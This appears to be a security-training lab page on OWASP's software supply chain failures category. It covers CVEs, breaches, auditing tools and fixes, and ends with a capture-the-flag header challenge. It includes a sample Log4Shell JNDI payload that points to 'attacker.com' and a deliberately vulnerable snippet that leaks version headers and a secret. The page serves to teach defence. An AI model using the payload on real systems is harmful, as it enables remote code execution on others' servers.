The XSS Rat OWASP Lab by The XSS Rat
A03:2025 High

Software Supply Chain Failures

Theory

Every application runs code somebody else wrote, built on machines you do not own, delivered through registries you do not control. In 2025 OWASP widened the old Vulnerable and Outdated Components category (A09 in 2013, A06 in 2021) into Software Supply Chain Failures — now covering all supply chain failures, not only the ones with a published CVE. It placed #1 in the community survey (50% of respondents) and carries the highest average incidence rate on the list at 5.19%, landing at #3 overall.

The Five Fronts

  • Dependencies — direct and transitive. You need a software bill of materials (SBOM) to know what is actually in the build, and continuous monitoring against it.
  • Build pipeline — CI/CD is production. Separation of duties, least-privilege runners, pinned actions and signed builds; a compromised pipeline signs the attacker's code with your key.
  • Distribution and integrity — pull from trusted sources, verify package signatures and provenance (Sigstore, SLSA attestations) rather than trusting a name and a version.
  • Maintenance and patching — risk-based, timely updates, and a plan for components nobody maintains any more.
  • Hardening the edges — code repositories, artifact registries, developer workstations and infrastructure-as-code are all part of the chain.

Notable CWEs

  • CWE-1395 — Dependency on a vulnerable third-party component
  • CWE-1104 — Use of unmaintained third-party components
  • CWE-1357 — Reliance on an insufficiently trustworthy component
  • CWE-1329 — Reliance on a component that is not updateable
  • CWE-447 — Use of an obsolete function

Beyond Known CVEs — Chain Attacks That Had No Patch to Apply

  • SolarWinds (2020) — the build system itself was compromised; every customer received a correctly signed, backdoored update
  • event-stream / xz-utils — a maintainer handed over or socially engineered into shipping malicious code inside a trusted package
  • Dependency confusion — publishing an internal package name to a public registry so the resolver prefers the attacker's copy
  • Typosquatting — reqeusts instead of requests, installed by a single typo in a Dockerfile

What Makes a Component Vulnerable

  • Known CVEs — the library has a publicly disclosed vulnerability in the National Vulnerability Database (NVD) and a CVSS score. Attackers scan for version strings in HTTP headers and serve targeted exploits.
  • Outdated/unmaintained packages — a dependency has not received security updates in years and is no longer supported
  • Version disclosure — returning exact version numbers in HTTP response headers (Server: Apache 2.4.49) tells attackers exactly which CVEs to target
  • Transitive dependencies — your code depends on package A which depends on package B (v1.2.3 with a critical CVE). You never installed B directly, but it runs in your process
  • Supply chain attacks — a malicious package published under a similar name (typosquatting) or a maintainer account compromised to push backdoored code

Real CVEs That Are Still Actively Exploited

CVE-2021-44228  Log4Shell (Apache Log4j 2.x)       CVSS 10.0  RCE via JNDI lookup in log messages
CVE-2021-26084  Confluence OGNL injection           CVSS 9.8   RCE; exploited by state actors within hours of disclosure
CVE-2022-22965  Spring4Shell (Spring Framework)     CVSS 9.8   RCE; affects Spring MVC on JDK 9+
CVE-2017-5638   Apache Struts 2 (Equifax breach)    CVSS 10.0  OGNL injection → 147M records stolen
CVE-2019-0708   BlueKeep (Windows RDP)              CVSS 9.8   Wormable RCE without authentication
CVE-2021-3129   Laravel Debug Mode RCE              CVSS 9.8   Debug mode + vulnerable Ignition = RCE

Version Disclosure — Vulnerable vs Fixed

# VULNERABLE — leaking version information in response headers
@app.get("/")
def index(response: Response):
    response.headers["Server"] = "Apache/2.4.49"         # CVE-2021-41773 path traversal!
    response.headers["X-Powered-By"] = "PHP/7.3.4"       # known RCE CVEs
    response.headers["X-Build-Info"] = "ratapp/1.0+secret=supersecretkey"
    return {"hello": "world"}

# FIXED — suppress all version information
@app.middleware("http")
async def remove_version_headers(request, call_next):
    response = await call_next(request)
    response.headers.pop("Server", None)           # remove or set to generic string
    response.headers.pop("X-Powered-By", None)
    response.headers.pop("X-AspNet-Version", None)
    return response

Dependency Auditing

# Python — audit installed packages against the safety DB / PyPI advisories
pip install pip-audit
pip-audit

# Node.js — built-in vulnerability scanner
npm audit
npm audit fix   # auto-upgrade non-breaking fixes

# Multi-language via Snyk
snyk test
snyk monitor   # continuous monitoring; alerts on new CVEs for your locked deps

# Docker images — scan the container itself
docker scout cves unclerat/myapp:latest
trivy image unclerat/myapp:latest

# Java — OWASP Dependency-Check
mvn org.owasp:dependency-check-maven:check

Supply Chain Attack Example — Log4Shell

# Log4j 2.x (versions < 2.15.0) evaluates JNDI lookups inside log messages
# A single line of attacker-controlled input reaching any logger = RCE

# Attack payload sent in HTTP header (User-Agent, X-Forwarded-For, etc.):
User-Agent: ${jndi:ldap://attacker.com/exploit}

# Log4j logs the User-Agent, evaluates the JNDI expression,
# fetches a malicious Java class from attacker.com, and executes it.

# FIXED: upgrade Log4j to >= 2.17.1, or set:
# -Dlog4j2.formatMsgNoLookups=true  (JVM flag)
# LOG4J_FORMAT_MSG_NO_LOOKUPS=true  (env var)

Real-World Breaches

  • Equifax (2017) — Apache Struts CVE-2017-5638 was patched 2 months before the breach, but Equifax had not applied it. 147 million SSNs exposed.
  • SolarWinds (2020) — Attackers compromised the build pipeline and inserted a backdoor into the Orion software update, affecting 18,000 organisations including US government agencies
  • event-stream (2018) — A popular npm package was handed to a new maintainer who added a payload targeting the Copay Bitcoin wallet. Downloaded 8 million times before discovery
  • Log4Shell (2021) — CVE-2021-44228 in Log4j affected hundreds of millions of systems; exploited within hours of public disclosure

How to Fix — Checklist

  • Lock and audit dependencies — use lock files (requirements.txt, package-lock.json, go.sum) and run pip-audit / npm audit / Snyk in CI
  • Subscribe to security advisories — follow GitHub Security Advisories, NVD feeds, and vendor mailing lists for all components you use
  • Remove unused dependencies — every extra package is an extra attack surface. Run pip-check or depcheck to find unused packages
  • Suppress version headers — never advertise your tech stack in HTTP responses
  • Use Dependabot or Renovate — automated PRs when a new version of a dependency is released, including security patches
  • Verify package integrity — use checksums/sigstore for critical dependencies; prefer packages with 2FA-enforced publishing
Challenge 1

Version Disclosure via Response Headers

The flag is hidden in an HTTP response header, not the page body. Click Submit — then inspect the response headers. The X-Build-Info header contains the flag embedded in build metadata.

Steps
Browser: F12 → Network tab → click the version request → Response Headers → find X-Build-Info.
curl: curl -sI https://owasp.thexssrat.com/web/a03/version | grep X-Build-Info